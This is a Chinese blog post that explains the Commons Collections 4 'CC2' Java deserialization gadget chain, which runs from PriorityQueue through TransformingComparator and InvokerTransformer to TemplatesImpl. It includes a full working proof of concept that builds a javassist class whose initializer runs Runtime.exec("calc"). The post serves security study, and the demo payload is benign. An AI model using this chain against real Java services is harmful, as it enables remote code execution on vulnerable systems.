首页 > 编程语言 >javaCC链2

javaCC链2

时间:2023-12-28 19:11:07浏览次数:35  
标签:transformer java javaCC field new import final

cc2链

pom.xml配置

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>

调用链:还是InvokerTransformer的transform入手

看到TransformingComparator的compare以及构造函数

public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }



public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }

    /**
     * Constructs an instance with the given Transformer and Comparator.
     *
     * @param transformer  what will transform the arguments to <code>compare</code>
     * @param decorated  the decorated Comparator
     */
    public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                                  final Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

Transformer<? super I, ? extends O>这个参数是泛型的用法。? super I表示I或I的父类,? extends O表示O或O的子类。transformer属性可控。

看关于compare的调用。到PriorityQueue类,该类对于compare的调用是:readObject->heapify->siftDown->siftDownUsingComparator->compare

所以整个流程就是:readObject->heapify->siftDown->siftDownUsingComparator->compare->transform

看cc2利用代码

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception{
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
                .getDeclaredConstructor(String.class);//获取构造方法
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");//实例化一个InvokerTransformer对象

        ClassPool pool = ClassPool.getDefault();//获取默认的类池
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));//设置搜索路径
        CtClass cc = pool.makeClass("Cat");//创建一个叫cat的类
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);//创建一个静态的类构造方法,并在构造方法开头插入cmd这段代码
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);//设置类名
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));//设置继承的类

        byte[] classBytes = cc.toBytecode();//类转为字节码
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        TransformingComparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);

        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);
        serialize(queue);
        unserialize("Object");

    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object"));
        o.writeObject(object);
    }

    public static void unserialize(String file) throws Exception{
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

可以看到上述代码自己构造了一个类,该类的构造方法有代码java.lang.Runtime.getRuntime().exec("calc");用于弹计算器。把类转换为字节码然后通过TemplatesImpl来加载类,在加载类时调用了其构造方法也就是执行了恶意代码。其中是使用InvokerTransformer的tarnsform方法执行TemplatesImpl的newTransformer方法。看到newTransformer方法

 public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);//调用了getTransletInstance()

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

看到getTransletInstance

image-20231228190300244

设置_name不为空,_class为空,触发defineTransletClasses,从而利用加载器通过类字节码加载类。

​ ClassPool pool = ClassPool.getDefault();//获取默认的类池
​ pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));//设置搜索路径
​ CtClass cc = pool.makeClass("Cat");//创建一个叫cat的类
​ String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
​ cc.makeClassInitializer().insertBefore(cmd);//创建一个静态的类构造方法,并在构造方法开头插入cmd这段代码
​ String randomClassName = "EvilCat" + System.nanoTime();
​ cc.setName(randomClassName);//设置类名
​ cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));//设置继承的类

标签:transformer,java,javaCC,field,new,import,final
From: https://www.cnblogs.com/q1stop/p/17933380.html

相关文章

  • javaCC链1
    cc1链jdk:jdk1.8.0_65commons-collections3.2.1cc1链起点是commons-collections包的Transformer接口,这个接口的transform方法接收一个对象作为参数packageorg.apache.commons.collections;publicinterfaceTransformer{Objecttransform(Objectvar1);}所以我们......
  • maven fmpp+javacc 集成使用简单说明
    dremio以及apachecalcite使用到fmpp+javacc进行代码生成处理,以下是一个简单的集成测试fmpp的作用fmpp实际上是包装了freemarker,提供了cli以及javaapi可以方便的......
  • maven fmpp+javacc 集成使用简单说明
    dremio以及apachecalcite使用到fmpp+javacc进行代码生成处理,以下是一个简单的集成测试fmpp的作用fmpp实际上是包装了freemarker,提供了cli以及javaapi可以方......
  • [JAVA反序列化]Javacc链1分析
    文章目录​​写在前面​​​​动态代理​​​​简单介绍​​​​动态代理的实现​​​​JavaCC链1分析​​​​参考文章​​写在前面这几天算是好好一边审计PHP的一些CMS一......
  • [Java反序列化]JavaCC链学习(8u71前)
    文章目录​​写在前面​​​​前置​​​​Transformer​​​​TransformedMap​​​​ChainedTransformer​​​​InvokerTransformer​​​​ConstantTransformer​​​​......